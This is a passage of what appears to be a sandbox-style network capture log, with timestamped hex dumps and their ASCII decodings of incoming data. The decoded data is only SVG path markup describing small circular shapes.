37 2c 30 2c 30 2c 31 2d 34 2e 32 32 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 34 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 Data Ascii: 77,225.59a2.19,2.19,0,0,1-1,2.83,3.18,3.18,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"></path><path class="cls-7" d="M49.47,216.82a2.17,2.17,0,0,1-1,2.82,3.17,3.17,0,0,1-4.22-1.19,3,3,0,0,1,.64-3.65,2.86,2.86,0,0,1,3
2023-07-27 19:54:10 UTC	5120	IN	Data Raw: 22 20 64 3d 22 4d 38 38 2e 34 32 2c 33 31 32 2e 31 38 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 32 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 38 38 2e 31 32 2c 33 30 33 2e 34 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 41 33 2e 32 2c 33 2e 32 2c 30 2c 30 2c 31 2c 38 32 2e 39 2c 33 30 35 61 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 Data Ascii: " d="M88.42,312.18a2.18,2.18,0,0,1-1,2.82,3.18,3.18,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.68,2.68,0,0,1,.19,3.62"></path><path class="cls-7" d="M88.12,303.4a2.19,2.19,0,0,1-1,2.83A3.2,3.2,0,0,1,82.9,305a3,3,0,0,1,.65-3.65,2.86,2.86,0
2023-07-27 19:54:10 UTC	5136	IN	Data Raw: 31 2c 2e 36 35 2d 33 2e 36 36 2c 32 2e 38 34 2c 32 2e 38 34 2c 30 2c 30 2c 31 2c 33 2e 36 36 2e 30 35 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 30 39 2e 38 33 2c 31 35 33 2e 32 35 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 39 2c 33 2e 31 39 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 36 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2e 30 35 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 Data Ascii: 1,.65-3.66,2.84,2.84,0,0,1,3.66.05,2.68,2.68,0,0,1,.2,3.61"></path><path class="cls-7" d="M109.83,153.25a2.19,2.19,0,0,1-1,2.83,3.19,3.19,0,0,1-4.23-1.19,3.06,3.06,0,0,1,.65-3.66,2.86,2.86,0,0,1,3.67.05,2.68,2.68,0,0,1,.2,3.61"></path><path class="cls-7"
2023-07-27 19:54:10 UTC	5152	IN	Data Raw: 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 34 38 2e 37 37 2c 32 34 38 2e 36 31 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 32 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 34 2d 33 2e 36 36 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 34 38 2e 34 37 2c 32 33 39 2e 38 33 61 Data Ascii: 2.86,0,0,1,3.67,0,2.68,2.68,0,0,1,.2,3.61"></path><path class="cls-7" d="M148.77,248.61a2.18,2.18,0,0,1-1,2.83,3.18,3.18,0,0,1-4.22-1.19,3.06,3.06,0,0,1,.64-3.66,2.86,2.86,0,0,1,3.67,0,2.68,2.68,0,0,1,.2,3.61"></path><path class="cls-7" d="M148.47,239.83a
2023-07-27 19:54:10 UTC	5168	IN	Data Raw: 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 37 30 2e 34 38 2c 39 38 2e 34 36 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 37 30 2e 31 38 2c 38 39 2e 36 39 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 32 Data Ascii: 69,2.69,0,0,1,.2,3.62"></path><path class="cls-7" d="M170.48,98.46a2.18,2.18,0,0,1-1,2.83,3.18,3.18,0,0,1-4.23-1.19,3.06,3.06,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"></path><path class="cls-7" d="M170.18,89.69a2.16,2.16,0,0,1-1,2.82
2023-07-27 19:54:10 UTC	5184	IN	Data Raw: 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 30 39 2e 34 32 2c 31 39 33 2e 38 32 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 30 39 2e 31 33 2c 31 38 35 2e 30 35 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 32 2c 33 2e 31 38 Data Ascii: ,2.69,0,0,1,.2,3.62"></path><path class="cls-7" d="M209.42,193.82a2.17,2.17,0,0,1-1,2.83,3.18,3.18,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.68,2.68,0,0,1,.19,3.62"></path><path class="cls-7" d="M209.13,185.05a2.17,2.17,0,0,1-1,2.82,3.18
2023-07-27 19:54:10 UTC	5200	IN	Data Raw: 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 34 38 2e 33 37 2c 32 38 39 2e 31 38 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 37 2c 33 2e 31 37 2c 30 2c 30 2c 31 2d 34 2e 32 32 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 34 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 34 38 2e 30 37 2c 32 38 30 2e 34 31 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 32 2c 33 2e 31 37 2c 33 2e 31 37 Data Ascii: 9,0,0,1,.2,3.62"></path><path class="cls-7" d="M248.37,289.18a2.18,2.18,0,0,1-1,2.83,3.17,3.17,0,0,1-4.22-1.19,3,3,0,0,1,.64-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"></path><path class="cls-7" d="M248.07,280.41a2.16,2.16,0,0,1-1,2.82,3.17,3.17
2023-07-27 19:54:10 UTC	5216	IN	Data Raw: 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 37 30 2e 30 38 2c 31 33 39 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 39 2c 33 2e 31 39 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 36 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 36 39 2e 37 38 2c 31 33 30 2e 32 36 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 32 2d Data Ascii: "></path><path class="cls-7" d="M270.08,139a2.19,2.19,0,0,1-1,2.83,3.19,3.19,0,0,1-4.23-1.19,3.06,3.06,0,0,1,.65-3.66,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"></path><path class="cls-7" d="M269.78,130.26a2.18,2.18,0,0,1-1,2.83,3.18,3.18,0,0,1-4.22-
2023-07-27 19:54:10 UTC	5232	IN	Data Raw: 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 33 30 39 2c 32 33 34 2e 34 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 32 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 36 2c 32 2e 38 34 2c 32 2e 38 34 2c 30 2c 30 2c 31 2c 33 2e 36 36 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 33 30 38 2e 37 32 2c 32 32 35 2e 36 32 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 39 2c 33 2e 31 39 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 Data Ascii: h><path class="cls-7" d="M309,234.4a2.18,2.18,0,0,1-1,2.83,3.18,3.18,0,0,1-4.22-1.19,3,3,0,0,1,.65-3.66,2.84,2.84,0,0,1,3.66,0,2.69,2.69,0,0,1,.2,3.62"></path><path class="cls-7" d="M308.72,225.62a2.17,2.17,0,0,1-1,2.83,3.19,3.19,0,0,1-4.23-1.19,3,3,0,0,1
2023-07-27 19:54:10 UTC	5248	IN	Data Raw: 3d 22 4d 33 33 30 2e 37 33 2c 38 34 2e 32 35 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 37 2c 33 2e 31 37 2c 30 2c 30 2c 31 2d 34 2e 32 32 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 34 2d 33 2e 36 36 2c 32 2e 38 37 2c 32 2e 38 37 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 33 34 37 2e 36 37 2c 33 32 31 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 32 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 34 2d 33 2e 36 36 2c 32 Data Ascii: ="M330.73,84.25a2.18,2.18,0,0,1-1,2.83,3.17,3.17,0,0,1-4.22-1.19,3.06,3.06,0,0,1,.64-3.66,2.87,2.87,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"></path><path class="cls-7" d="M347.67,321a2.18,2.18,0,0,1-1,2.83,3.18,3.18,0,0,1-4.22-1.19,3.06,3.06,0,0,1,.64-3.66,2
2023-07-27 19:54:10 UTC	5264	IN	Data Raw: 20 64 3d 22 4d 33 36 39 2e 36 37 2c 31 37 39 2e 36 31 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 39 2c 33 2e 31 39 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 36 2c 32 2e 38 37 2c 32 2e 38 37 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 33 36 39 2e 33 38 2c 31 37 30 2e 38 33 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 Data Ascii: d="M369.67,179.61a2.17,2.17,0,0,1-1,2.83,3.19,3.19,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.66,2.87,2.87,0,0,1,3.67,0,2.68,2.68,0,0,1,.19,3.62"></path><path class="cls-7" d="M369.38,170.83a2.19,2.19,0,0,1-1,2.83,3.18,3.18,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.65,2.86,2
2023-07-27 19:54:10 UTC	5280	IN	Data Raw: 30 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 37 2c 32 2e 36 34 2c 32 2e 36 34 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 31 31 2e 37 2c 33 33 39 2e 31 33 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 31 2c 32 2e 39 34 2c 32 2e 39 34 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 35 2c 32 2e 34 35 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d Data Ascii: 09,2.81,2.81,0,0,1,.59-3.37,2.64,2.64,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"></path><path class="cls-9" d="M311.7,339.13a2,2,0,0,1-.91,2.61,2.94,2.94,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.45,2.45,0,0,1,.18,3.32"></path><path class=
2023-07-27 19:54:10 UTC	5296	IN	Data Raw: 33 2e 33 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 33 31 2e 34 2c 31 39 32 2e 39 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 31 2c 32 2e 39 34 2c 32 2e 39 34 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 37 2c 32 2e 34 37 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 33 31 2e 31 33 2c 31 38 34 2e 38 33 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 Data Ascii: 3.32"></path><path class="cls-9" d="M331.4,192.9a2,2,0,0,1-.91,2.61,2.94,2.94,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.47,2.47,0,0,1,.18,3.33"></path><path class="cls-9" d="M331.13,184.83a2,2,0,0,1-.91,2.6,2.93,2.93,0,0,1-3.89-1.1,2.8
2023-07-27 19:54:10 UTC	5312	IN	Data Raw: 36 37 2c 32 37 32 2e 35 37 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 36 36 2e 36 39 2c 32 36 34 2e 34 39 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 30 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 37 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 Data Ascii: 67,272.57a2,2,0,0,1-.91,2.6,2.93,2.93,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.6-3.36,2.63,2.63,0,0,1,3.37,0,2.48,2.48,0,0,1,.19,3.33"></path><path class="cls-9" d="M366.69,264.49a2,2,0,0,1-.91,2.6,2.92,2.92,0,0,1-3.89-1.09,2.81,2.81,0,0,1,.59-3.37,2.63,2.63,0,0,1,3
2023-07-27 19:54:11 UTC	5328	IN	Data Raw: 2c 33 2e 33 37 2c 30 2c 32 2e 34 35 2c 32 2e 34 35 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 33 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 30 32 2e 32 35 2c 33 34 34 2e 31 36 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 30 32 2c 33 33 36 2e 30 38 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 2c 32 2e 36 2c 32 Data Ascii: ,3.37,0,2.45,2.45,0,0,1,.19,3.32"></path><path class="cls-9" d="M402.25,344.16a2,2,0,0,1-.91,2.6,2.93,2.93,0,0,1-3.89-1.1,2.79,2.79,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.48,2.48,0,0,1,.18,3.33"></path><path class="cls-9" d="M402,336.08a2,2,0,0,1-.9,2.6,2
2023-07-27 19:54:11 UTC	5344	IN	Data Raw: 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 32 31 2e 36 37 2c 31 38 39 2e 38 35 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 30 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 37 2c 32 2e 36 34 2c 32 2e 36 34 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 Data Ascii: -3.89-1.1,2.79,2.79,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.48,2.48,0,0,1,.18,3.33"></path><path class="cls-9" d="M421.67,189.85a2,2,0,0,1-.9,2.6,2.92,2.92,0,0,1-3.89-1.09,2.81,2.81,0,0,1,.59-3.37,2.64,2.64,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"></path><pa
2023-07-27 19:54:11 UTC	5360	IN	Data Raw: 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 35 37 2e 32 33 2c 32 36 39 2e 35 31 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 2c 32 2e 36 31 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 35 37 2c 32 36 31 2e 34 34 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 34 2c 32 2e 39 34 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c Data Ascii: "></path><path class="cls-9" d="M457.23,269.51a2,2,0,0,1-.9,2.61,2.93,2.93,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.59-3.36,2.63,2.63,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"></path><path class="cls-9" d="M457,261.44a2,2,0,0,1-.91,2.6,2.94,2.94,0,0,1-3.89-1.1,2.8,2.8,
2023-07-27 19:54:11 UTC	5376	IN	Data Raw: 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 39 32 2e 35 32 2c 33 34 31 2e 31 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 30 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 37 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 37 2c 32 2e 34 37 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 39 32 2e 32 35 2c 33 33 33 61 32 2c 32 2c 30 2c 30 Data Ascii: ,2.63,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"></path><path class="cls-9" d="M492.52,341.1a2,2,0,0,1-.91,2.6,2.92,2.92,0,0,1-3.89-1.09,2.81,2.81,0,0,1,.6-3.37,2.63,2.63,0,0,1,3.37,0,2.47,2.47,0,0,1,.19,3.33"></path><path class="cls-9" d="M492.25,333a2,2,0,0
